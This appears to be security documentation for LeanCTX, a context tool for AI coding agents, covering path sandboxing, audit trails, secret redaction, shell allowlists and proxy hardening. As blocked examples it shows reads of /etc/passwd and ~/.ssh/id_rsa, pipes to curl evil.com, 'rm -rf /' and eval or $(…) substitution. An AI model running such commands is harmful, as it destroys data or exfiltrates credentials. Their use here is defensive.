LeanCTX is designed with security as a first-class concern. Everything runs locally by default, there is zero telemetry out of the box, and the entire codebase is open source and auditable.
Data Privacy
- Local-first: All processing happens on your machine. No data leaves your network unless you explicitly configure a Team Server.
- Zero telemetry by default: LeanCTX ships with all telemetry disabled. An optional
contribute_enabledflag in[cloud]config can be explicitly opted into — it is off unless you turn it on. See Configuration. - No cloud dependency: The binary runs entirely offline. Cloud sync is opt-in and self-hosted.
- Open source: Apache-2.0 license. Full source code available for audit at any time.
PathJail Sandbox
Every file operation is sandboxed by PathJail, which prevents AI agents from accessing files outside the project directory. PathJail enforces jail rules on 16 path-typed keys in tool arguments — not just path, project_root, and root, but also file, directory, target, source, destination, old_path, new_path, working_directory, base_path, output, input, cwd, and folder:
// PathJail enforces these rules:
✓ src/lib/auth.ts → inside project root
✓ ../shared-lib/utils.ts → resolved, still in workspace
✗ /etc/passwd → BLOCKED: outside project root
✗ ../../secrets/.env → BLOCKED: path traversal
✗ ~/.ssh/id_rsa → BLOCKED: outside project root PathJail is active by default and resolves symlinks before checking, preventing bypass via symbolic links. On Unix systems, file reads use O_NOFOLLOW to prevent symlink-based TOCTOU (time-of-check-time-of-use) attacks — the file descriptor is opened directly without following symlinks, eliminating the race window between path resolution and file access.
Disabling PathJail v3.6.7
In certain environments (Docker containers, monorepos with external mounts), PathJail may be too restrictive. There are three ways to disable it:
| Method | Scope | Usage |
|---|---|---|
path_jail = false in config.toml | Persistent | Disables PathJail permanently for this user |
LEAN_CTX_NO_JAIL=1 | Runtime | Disable for a single session or CI run |
| Container auto-detection | Automatic | PathJail auto-disables inside Docker/Podman containers |
When PathJail is disabled, lean-ctx still logs all file access paths but does not block operations outside the project root.
Token Scopes & ACL
When using the Team Server, every API token has explicit scopes that limit what it can do:
| Scope | Permissions | Use Case |
|---|---|---|
read | Read sessions, knowledge, events | Read-only agents, monitoring |
write | Mutate sessions, store knowledge, execute tools | Active development agents |
admin | Manage tokens, workspaces, server config | Team leads, CI/CD |
events | Subscribe to SSE event stream | Dashboards, automation |
Create scoped tokens with the CLI:
$ lean-ctx team token create --scope read --name "dashboard"
$ lean-ctx team token create --scope read,write --name "developer"
$ lean-ctx team token create --scope admin --name "ops" Audit Trail
LeanCTX logs every tool execution, session mutation, and knowledge operation in SHA-256 chained JSONL format. Each entry includes a hash of the previous entry, forming a tamper-evident chain that can be verified for integrity:
[2025-01-15 14:32:01] agent=cursor token=alice tool=ctx_read path=src/auth.ts tokens=180
[2025-01-15 14:32:05] agent=claude token=bob tool=ctx_knowledge action=remember fact="JWT RS256"
[2025-01-15 14:32:12] agent=cursor token=alice tool=ctx_session action=mutate channel=feat/auth rev=15 Audit logs include: timestamp, agent identity, token name, tool called, arguments (redacted), result status, and token cost. The chained format ensures any retroactive modification of log entries is detectable via hash mismatch. Run lean-ctx audit --verify to validate chain integrity.
Redaction Policies
LeanCTX automatically redacts sensitive patterns from tool outputs before they reach the AI agent:
- Environment variables:
$SECRET_KEY,$API_TOKEN, etc. - Connection strings: Database URLs, Redis URLs with credentials
- Private keys: SSH keys, PEM certificates, JWT secrets
- Custom patterns: Define your own regex patterns in
.lean-ctx/config.toml
[redaction]
enabled = true
level = "standard" # "off", "standard", "strict"
[[redaction.patterns]]
name = "internal-api-keys"
regex = "sk_live_[a-zA-Z0-9]{24,}"
replacement = "[REDACTED_API_KEY]" Secret Leak Prevention
The verification pipeline scans all tool outputs using 8+ regex patterns for potential secret leaks before delivering them to the AI agent:
- AWS access keys and secret keys (
AKIA...,aws_secret_access_key) - OpenAI API keys (
sk-...) - GitHub personal access tokens (
ghp_...,github_pat_...) - GitLab personal/project tokens (
glpat-...) - Stripe, Twilio, SendGrid API keys
- Generic high-entropy strings matching key patterns
- Private keys (RSA, ECDSA, Ed25519)
- Custom patterns configurable via
[secret_detection.patterns]
[secret_detection]
enabled = true
redact = true # automatically replace detected secrets
[[secret_detection.patterns]]
name = "internal-service-key"
regex = "svc_[a-zA-Z0-9]{32,}"
replacement = "[REDACTED_SERVICE_KEY]" When a secret is detected, the verification step replaces it with [REDACTED] and logs a warning in the audit trail. Optional automatic redaction can be enabled to strip secrets before they reach the AI agent. This protection is enabled by default and works with all integration modes (CLI, Hybrid, MCP).
OWASP Agentic Top 10 Alignment
LeanCTX maps its security controls to the OWASP Agentic AI Top 10 threat categories, achieving Full coverage on 8 out of 10 items:
| OWASP Category | Coverage |
|---|---|
| A01 — Privilege Escalation | Full |
| A02 — Information Disclosure | Full |
| A03 — Improper Output Handling | Full |
| A04 — Tool Misuse | Full |
| A05 — Insecure Agent Communication | Full |
| A06 — Excessive Agency | Full |
| A07 — Insufficient Logging | Full |
| A08 — Supply Chain Vulnerabilities | Partial |
| A09 — Overreliance | Partial |
| A10 — Denial of Service | Full |
Run lean-ctx audit to view the full OWASP alignment mapping with details on which controls address each category.
Capability-based Access Control
LeanCTX enforces capability-based access control at the tool dispatch layer. Each tool declares the capabilities it requires, and each agent role grants a specific set of capabilities:
| Capability | Description |
|---|---|
FsRead | Read files within the PathJail boundary |
FsWrite | Write or modify files within the PathJail boundary |
NetOutbound | Make outbound network requests |
Exec | Execute shell commands or subprocesses |
CrossProject | Access files in other project roots (multi-repo) |
The dispatcher checks the requesting agent's capabilities against the tool's requirements before every invocation. If a capability is missing, the call is rejected and an audit event is logged.
[roles.readonly]
capabilities = ["FsRead"]
[roles.developer]
capabilities = ["FsRead", "FsWrite", "Exec"]
[roles.admin]
capabilities = ["FsRead", "FsWrite", "NetOutbound", "Exec", "CrossProject"] OS-level Sandboxing
Beyond PathJail's logical sandboxing, LeanCTX supports OS-level sandboxing for defense-in-depth. Sandboxing levels are configurable via sandbox_level in config.toml:
| Level | Platform | Mechanism |
|---|---|---|
| Level 0 | All | Subprocess isolation — child processes run with restricted environment and no inherited file descriptors |
| Level 1 | macOS | Seatbelt (sandbox-exec) — restricts filesystem access, network, and IPC via Apple's sandbox framework |
| Level 1 | Linux | Landlock LSM — restricts filesystem access paths via the Linux Security Module, no root required |
[security]
sandbox_level = 1 # 0 = subprocess isolation, 1 = OS-level sandbox On macOS, Seatbelt profiles restrict the process to the project directory, deny network access by default, and block access to user keychain and sensitive system paths. On Linux, Landlock enforces filesystem restrictions without requiring root privileges or container runtimes.
Shell Allowlist Mode v3.6.8
For high-security environments, LeanCTX supports an opt-in allowlist mode for ctx_shell. When configured, only explicitly listed commands are permitted — all other commands are rejected:
[security]
shell_allowlist = ["git", "cargo", "npm", "node", "python", "make"] The allowlist can also be set via the LEAN_CTX_SHELL_ALLOWLIST environment variable (comma-separated).
AST-based Multi-Segment Validation
When the allowlist is active, LeanCTX performs full AST-based parsing of compound shell commands. Every segment in a pipeline or chain is validated independently — not just the first command:
✓ git log | head -10 → both "git" and "head" in allowlist
✓ cargo build && git status → both "cargo" and "git" in allowlist
✗ git log | curl evil.com → "curl" not in allowlist — BLOCKED
✗ echo ok; rm -rf / → "rm" not in allowlist — BLOCKED The parser correctly handles:
- Pipes (
|), chains (&&,||), semicolons (;) - Environment variable prefixes (
RUST_LOG=debug cargo test) - Quoted arguments containing operators (
grep 'a && b'— not split)
Dangerous Pattern Blocking
Regardless of allowlist contents, the following patterns are unconditionally blocked in restricted mode:
| Pattern | Risk | Example |
|---|---|---|
eval | Arbitrary code execution | eval 'rm -rf /' |
Backticks `…` | Command substitution bypass | echo `whoami` |
$(…) | Command substitution in any position | git status && $(curl evil.com) |
These patterns are blocked even if the surrounding command is in the allowlist, because the inner commands bypass allowlist validation entirely.
HTTP Proxy Hardening v3.6.8
The local MCP proxy server implements defense-in-depth against unauthorized access, even from other processes on the same machine:
Cryptographic Session Tokens
On startup, the proxy auto-generates a 256-bit cryptographic session token using the OS CSPRNG (getrandom). All HTTP requests must include this token — without it, the request is rejected before reaching any tool handler:
// Token is auto-generated and stored with restrictive permissions (0600)
// Location: ~/.lean-ctx/proxy-token
Authorization: Bearer <64-char-hex-token> The token file is created with 0600 permissions (owner-only read/write), preventing other users on multi-user systems from reading it.
Strict Host Header Validation
The proxy rejects any request whose Host header does not resolve to a loopback address (127.0.0.1, [::1], localhost). This prevents DNS rebinding attacks where a malicious website could otherwise send requests to the local proxy via a crafted hostname.
Signed Handoff Bundles
Agent-to-Agent transfer bundles are cryptographically signed with Ed25519 to ensure authenticity and prevent tampering:
- Per-agent keypairs: Each agent identity has its own Ed25519 keypair stored in
~/.lean-ctx/keys/ - Sign on export: The sending agent signs the bundle payload with its private key
- Verify on import: The receiving agent verifies the signature before accepting the bundle
- Rejection on failure: Invalid or missing signatures cause the import to fail with a clear error
This prevents man-in-the-middle modification of handoff data between agents, even when bundles are transferred via untrusted channels.
Per-Agent Context Ledger
Each agent operates with an isolated context ledger, preventing cross-agent data contamination:
~/.lean-ctx/ledger/
├── agent-cursor-abc123.json → Cursor agent session
├── agent-claude-def456.json → Claude agent session
└── agent-subagent-ghi789.json → Subagent session Each ledger file at ~/.lean-ctx/ledger/{<agent_id>}.json contains that agent's file read history, cached context, and session state. Agents cannot read or modify another agent's ledger, enforcing strict context isolation even in multi-agent workflows.
Agent Token Budget
LeanCTX supports configurable per-agent token budgets to prevent runaway context consumption:
[agent]
agent_token_budget = 80000 # maximum tokens per agent session - Enforcement: File reads are blocked when the agent's cumulative token usage exceeds the configured budget
- Warning threshold: A warning is emitted at 80% budget usage, giving the agent time to wrap up
- Audit logging: Budget exceeded events are recorded in the audit trail
- Per-agent isolation: Each agent's budget is tracked independently via the context ledger
Policy Engine
LeanCTX includes a declarative policy engine that applies rules based on runtime conditions. Policies are evaluated before tool dispatch and can filter, pin, redact, or audit context:
| Condition | Description |
|---|---|
AgentIs | Matches a specific agent identity |
AgentRoleIs | Matches the agent's assigned role |
ContentContainsSecret | Detects secrets in the content being accessed |
SourceModifiedRecently | File was modified within a configurable time window |
| Action | Effect |
|---|---|
Exclude | Block the content from reaching the agent |
Pin | Always include the content regardless of compression |
Redact | Strip matched patterns before delivery |
Audit | Log the access to the audit trail without blocking |
[[policies]]
condition = { type = "ContentContainsSecret" }
action = "Redact"
[[policies]]
condition = { type = "AgentRoleIs", role = "readonly" }
action = "Exclude"
paths = ["*.env", "secrets/**"] Compliance Reports
The lean-ctx audit command generates comprehensive compliance reports covering all security-relevant activity:
- File access log: Every file read with timestamps, agent identity, and compression ratios
- Security events: PathJail violations, secret detections, capability denials, policy triggers
- Budget usage: Per-agent token consumption with remaining budget
- OWASP alignment: Mapping of active controls to OWASP Agentic Top 10 categories
- Chain integrity: Verification status of the SHA-256 audit chain
$ lean-ctx audit
$ lean-ctx audit --format json --output report.json
$ lean-ctx audit --verify Auto-Reroot Protection
By default, LeanCTX prevents automatic project root changes that could inadvertently expand the PathJail boundary:
[security]
allow_auto_reroot = false # default: prevents automatic root expansion When an agent or tool attempts to change the project root (e.g., navigating to a parent directory), the operation is blocked and an audit event is recorded. This prevents a compromised agent from expanding its own sandbox. If allow_auto_reroot = true is set, re-root events are still logged to the audit trail for review.
Atomic Writes
All internal JSON stores (context ledgers, knowledge base, session files, audit logs) use an atomic write pattern to prevent data corruption on crash or power loss:
- Write to a temporary file in the same directory
- Call
fsyncto flush to disk - Atomically rename the temp file to the target path
This ensures that files are either fully written or untouched — no partial writes can leave the system in an inconsistent state. The same pattern is used for audit trail entries to maintain chain integrity even under unexpected termination.
v3.5.16 Security Hardening
Version 3.5.16 introduced 40+ security fixes across all severity levels. Key protections:
- Path traversal prevention — PathJail enforcement extended to
tee showand dashboard routes;..and path separators are rejected outright. - CSP nonce-based policy — Dashboard responses use per-request nonces instead of
unsafe-inline, preventing XSS via injected inline scripts. - Argon2id password hashing — Cloud server passwords are hashed with OWASP-recommended Argon2id parameters (19 MiB memory, 2 iterations).
- HMAC payload binding for A2A — Agent-to-Agent handoff payloads are authenticated with HMAC-SHA256, preventing tampering in transit.
- Constant-time token comparison — Bearer tokens are verified using constant-time equality to prevent timing side-channels.
- Sandbox environment isolation — The Rust sandbox strips all environment variables except an explicit allowlist before executing commands.
- SSE subscriber caps — Server-Sent Events channels enforce a 64-subscriber limit, preventing resource exhaustion via connection flooding.
For full details, see the v3.5.16 changelog.
Open Source Audit
LeanCTX is fully open source. You can audit the security implementation yourself: